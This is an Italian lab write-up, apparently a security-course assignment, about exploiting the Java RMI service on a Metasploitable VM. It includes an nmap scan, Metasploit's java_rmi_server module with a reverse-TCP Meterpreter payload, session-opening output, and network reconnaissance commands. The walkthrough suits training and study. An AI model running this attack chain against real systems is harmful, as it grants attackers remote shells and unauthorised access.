

PROGETTO SETTIMANA 7

Obiettivo:

- Ottenere informazioni configurazione di rete.
- Ottenere informazioni sulla tabella di routing.

Vittima:

- Metasploitable.

Innanzitutto, procedo con una scansione dei servizi aperti utilizzando **nmap**. Dopo la scansione e trovato i servizi attivi con le rispettive porte, mi concentro sul servizio **java-rmi** che si trova sulla porta **1099**.

```
(kali@kali)-[~/Desktop]
└─$ nmap -sV 192.168.178.125
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-26 06:32 EST
Nmap scan report for 192.168.178.125
Host is up (0.0043s latency).
Not shown: 978 closed tcp ports (conn-refused)
PORT      STATE SERVICE        VERSION
21/tcp    open  ftp            vsftpd 2.3.4
22/tcp    open  ssh            OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet         Linux telnetd
25/tcp    open  smtp           Postfix smtpd
80/tcp    open  http           Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind        2 (RPC #100000)
139/tcp   open  netbios-ssn    Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn    Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec?
513/tcp   open  login
514/tcp   open  tcpwrapped
1099/tcp   open  java-rmi       GNU Classpath grmiregistry
1524/tcp   open  bindshell      Metasploitable root shell
2049/tcp   open  nfs            2-4 (RPC #100003)
2121/tcp   open  ftp            ProFTPD 1.3.1
3306/tcp   open  mysql          MySQL 5.0.51a-3ubuntu5
5432/tcp   open  postgresql     PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp   open  vnc            VNC (protocol 3.3)
6000/tcp   open  X11            (access denied)
6667/tcp   open  irc            UnrealIRCd
8009/tcp   open  ajp13          Apache Jserv (Protocol v1.3)
8180/tcp   open  http           Apache Tomcat/Coyote JSP engine 1.1
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 62.21 seconds
```

Dopo aver individuato il servizio vulnerabile avvio Metasploit con il comando **msfconsole** da kali.

Una volta entrato su Metasploit tramite il comando **search** cerco l'exploit che mi serve, in questo caso mi serve un exploit per il server java-rmi.

```
msf6 > search java_rmi_server

Matching Modules
=====
```

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/multi/misc/java_rmi_server	2011-10-15	excellent	Yes	Java RMI Server Insecure Default Configuration Java Code Execution
1	auxiliary/scanner/misc/java_rmi_server	2011-10-15	normal	No	Java RMI Server Insecure Endpoint Code Execution Scanner

Interact with a module by name or index. For example `info 1`, `use 1` or `use auxiliary/scanner/misc/java_rmi_server`

Sto cercando un exploit quindi selezionerò e userò il primo.

Per utilizzare questo exploit si usa il comando **use** seguito dal path dell'exploit, oppure seguito dal numero corrispondente dell'exploit nella colonna "#".

Successivamente utilizzo il comando **show options** per vedere quali parametri mi chiede di inserire: in questo caso richiede che venga inserito l'indirizzo IP della vittima. L'IP della vittima si imposta con il comando **set rhosts** seguito dal suo IP.

```
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):
```

Name	Current Setting	Required	Description
HTTPDELAY	10	yes	Time that the HTTP Server will wait for the payload request
RHOSTS		yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	1099	yes	The target port (TCP)
SRVHOST	0.0.0.0	yes	The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT	8080	yes	The local port to listen on.
SSL	false	no	Negotiate SSL for incoming connections
SSLCert		no	Path to a custom SSL certificate (default is randomly generated)
URIPATH		no	The URI to use for this exploit (default is random)

```

Payload options (java/meterpreter/reverse_tcp):
=====
Name      Current Setting  Required  Description
-----
LHOST     192.168.178.124 yes       The listen address (an interface may be specified)
LPORT     4444             yes       The listen port

Exploit target:
=====
Id  Name
--  ---
0   Generic (Java Payload)

```

```
msf6 exploit(multi/misc/java_rmi_server) > set rhosts 192.168.178.125
rhosts => 192.168.178.125
```

Per verificare che l'IP della vittima sia stato inserito correttamente riutilizzo il comando **show options**.

HTTPDELAY	10	yes
RHOSTS	192.168.178.125	yes

Ora che sono sicuro che tutto è stato impostato correttamente utilizzo il comando **exploit** per eseguirlo.

```
[*] Started reverse TCP handler on 192.168.178.124:4444
[*] 192.168.178.125:1099 - Using URL: http://192.168.178.124:8080/3tV0BI
[*] 192.168.178.125:1099 - Server started.
[*] 192.168.178.125:1099 - Sending RMI Header ...
[*] 192.168.178.125:1099 - Sending RMI Call ...
[*] 192.168.178.125:1099 - Replied to request for payload JAR
[*] Sending stage (58829 bytes) to 192.168.178.125
[*] Meterpreter session 1 opened (192.168.178.124:4444 → 192.168.178.125:59880) at 2024-01-26 09:23:40 -0500
```

Una volta finito per verificare la riuscita dell'exploit, utilizzo il comando **ifconfig** e questo mi deve restituire l'IP della vittima.

```
meterpreter > ifconfig

Interface 1
-----
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
-----
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.178.125
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fef2:31c7
IPv6 Netmask : ::
```

Il secondo obiettivo era quello di ottenere informazioni sulla tabella di routing, con il comando **route** possiamo vedere queste informazioni.

```
meterpreter > route

IPv4 network routes
-----
Subnet      Netmask      Gateway      Metric      Interface
-----
127.0.0.1   255.0.0.0    0.0.0.0      0           lo
192.168.178.125 255.255.255.0 0.0.0.0      0           eth0

IPv6 network routes
-----
Subnet      Netmask      Gateway      Metric      Interface
-----
::1         ::           ::           0           lo
fe80::a00:27ff:fef2:31c7 ::           ::           0           eth0

meterpreter >
```